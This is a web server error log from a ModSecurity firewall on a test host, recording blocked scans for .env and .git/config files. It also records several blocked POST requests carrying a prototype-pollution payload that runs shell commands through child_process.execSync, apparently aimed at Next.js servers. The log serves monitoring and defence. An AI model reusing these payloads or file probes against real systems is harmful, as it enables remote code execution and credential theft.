[Thu Jan 01 21:39:50.352298 2026] [:error] [pid 1122287] [client 146.190.103.103:53420] [client 146.190.103.103] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVbblvoNwoJjdoZOXoi6HQAAAAo"]
[Thu Jan 01 21:39:50.352534 2026] [:error] [pid 1122287] [client 146.190.103.103:53420] [client 146.190.103.103] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVbblvoNwoJjdoZOXoi6HQAAAAo"]
[Thu Jan 01 21:39:50.352701 2026] [:error] [pid 1122287] [client 146.190.103.103:53420] [client 146.190.103.103] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVbblvoNwoJjdoZOXoi6HQAAAAo"]
[Thu Jan 01 21:39:52.349065 2026] [:error] [pid 1117412] [client 146.190.103.103:53432] [client 146.190.103.103] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVbbmHNXDBI5CgrqjG_AMgAAAAQ"]
[Thu Jan 01 21:39:52.349286 2026] [:error] [pid 1117412] [client 146.190.103.103:53432] [client 146.190.103.103] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVbbmHNXDBI5CgrqjG_AMgAAAAQ"]
[Thu Jan 01 21:39:52.349434 2026] [:error] [pid 1117412] [client 146.190.103.103:53432] [client 146.190.103.103] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVbbmHNXDBI5CgrqjG_AMgAAAAQ"]
[Thu Jan 01 23:54:26.790267 2026] [:error] [pid 1117460] [client 18.236.146.150:48404] [client 18.236.146.150] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aVb7IiEFf7TT1LdjoKPHbgAAAAc"]
[Thu Jan 01 23:54:26.790846 2026] [:error] [pid 1117460] [client 18.236.146.150:48404] [client 18.236.146.150] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aVb7IiEFf7TT1LdjoKPHbgAAAAc"]
[Thu Jan 01 23:54:26.791867 2026] [:error] [pid 1117460] [client 18.236.146.150:48404] [client 18.236.146.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aVb7IiEFf7TT1LdjoKPHbgAAAAc"]
[Thu Jan 01 23:54:26.792036 2026] [:error] [pid 1117460] [client 18.236.146.150:48404] [client 18.236.146.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aVb7IiEFf7TT1LdjoKPHbgAAAAc"]
[Mon Jan 05 05:05:27.899510 2026] [:error] [pid 1204261] [client 204.76.203.25:55344] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVs4h6w0o2vTmEjFTE4NUgAAAAQ"]
[Mon Jan 05 05:05:27.902000 2026] [:error] [pid 1204261] [client 204.76.203.25:55344] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVs4h6w0o2vTmEjFTE4NUgAAAAQ"]
[Mon Jan 05 05:05:27.902206 2026] [:error] [pid 1204261] [client 204.76.203.25:55344] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVs4h6w0o2vTmEjFTE4NUgAAAAQ"]
[Wed Jan 07 05:29:17.467195 2026] [:error] [pid 1248390] [client 194.195.112.175:60182] [client 194.195.112.175] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV3hHcEIxEbNfU6y2MWMtwAAAAE"]
[Wed Jan 07 05:29:17.469461 2026] [:error] [pid 1248390] [client 194.195.112.175:60182] [client 194.195.112.175] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV3hHcEIxEbNfU6y2MWMtwAAAAE"]
[Wed Jan 07 05:29:17.469619 2026] [:error] [pid 1248390] [client 194.195.112.175:60182] [client 194.195.112.175] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV3hHcEIxEbNfU6y2MWMtwAAAAE"]
[Wed Jan 07 12:35:24.734555 2026] [:error] [pid 1248392] [client 44.223.45.107:39016] [client 44.223.45.107] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV5E_BbsuCSf9NTQ9s_0kAAAAAM"]
[Wed Jan 07 12:35:24.735832 2026] [:error] [pid 1248392] [client 44.223.45.107:39016] [client 44.223.45.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV5E_BbsuCSf9NTQ9s_0kAAAAAM"]
[Wed Jan 07 12:35:24.735986 2026] [:error] [pid 1248392] [client 44.223.45.107:39016] [client 44.223.45.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV5E_BbsuCSf9NTQ9s_0kAAAAAM"]
[Wed Jan 07 13:00:08.971068 2026] [:error] [pid 1248389] [client 44.213.101.70:47476] [client 44.213.101.70] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV5KyKhAlUMkVcegDmo7twAAAAA"]
[Wed Jan 07 13:00:08.972468 2026] [:error] [pid 1248389] [client 44.213.101.70:47476] [client 44.213.101.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV5KyKhAlUMkVcegDmo7twAAAAA"]
[Wed Jan 07 13:00:08.972654 2026] [:error] [pid 1248389] [client 44.213.101.70:47476] [client 44.213.101.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aV5KyKhAlUMkVcegDmo7twAAAAA"]
[Thu Jan 08 21:11:16.467491 2026] [authz_core:error] [pid 1270042] [client 68.183.180.73:49414] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Jan 08 21:11:19.468253 2026] [:error] [pid 1270043] [client 68.183.180.73:41442] [client 68.183.180.73] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWAPZwvEr1EpOYnVfM6rhAAAAAc"]
[Thu Jan 08 21:11:19.468483 2026] [:error] [pid 1270043] [client 68.183.180.73:41442] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWAPZwvEr1EpOYnVfM6rhAAAAAc"]
[Thu Jan 08 21:11:19.468638 2026] [:error] [pid 1270043] [client 68.183.180.73:41442] [client 68.183.180.73] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWAPZwvEr1EpOYnVfM6rhAAAAAc"]
[Sat Jan 10 01:34:50.538561 2026] [:error] [pid 1310069] [client 172.105.253.181:49872] [client 172.105.253.181] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWGeqiXlvkLIhQSGs6Dt6gAAAAE"]
[Sat Jan 10 01:34:50.540967 2026] [:error] [pid 1310069] [client 172.105.253.181:49872] [client 172.105.253.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWGeqiXlvkLIhQSGs6Dt6gAAAAE"]
[Sat Jan 10 01:34:50.541146 2026] [:error] [pid 1310069] [client 172.105.253.181:49872] [client 172.105.253.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWGeqiXlvkLIhQSGs6Dt6gAAAAE"]
[Sat Jan 10 09:28:22.178988 2026] [authz_core:error] [pid 1312678] [client 172.190.142.176:20688] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config.php
[Sun Jan 11 00:40:49.277225 2026] [:error] [pid 1333015] [client 204.76.203.25:43526] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWLjgSHHACbX62ZJopWnoAAAAAE"]
[Sun Jan 11 00:40:49.277501 2026] [:error] [pid 1333015] [client 204.76.203.25:43526] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWLjgSHHACbX62ZJopWnoAAAAAE"]
[Sun Jan 11 00:40:49.277647 2026] [:error] [pid 1333015] [client 204.76.203.25:43526] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWLjgSHHACbX62ZJopWnoAAAAAE"]
[Sun Jan 11 03:52:22.694715 2026] [authz_core:error] [pid 1336306] [client 206.189.233.36:57552] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Jan 11 03:52:25.695623 2026] [:error] [pid 1336281] [client 206.189.233.36:58112] [client 206.189.233.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWMQach5fehf2NO8kLqyFgAAAAQ"]
[Sun Jan 11 03:52:25.695845 2026] [:error] [pid 1336281] [client 206.189.233.36:58112] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWMQach5fehf2NO8kLqyFgAAAAQ"]
[Sun Jan 11 03:52:25.696005 2026] [:error] [pid 1336281] [client 206.189.233.36:58112] [client 206.189.233.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWMQach5fehf2NO8kLqyFgAAAAQ"]
[Sun Jan 11 16:35:28.428169 2026] [:error] [pid 1336278] [client 172.105.253.168:54068] [client 172.105.253.168] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((41*271))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWPDQN79zboqPEXiMgIzKQAAAAE"]
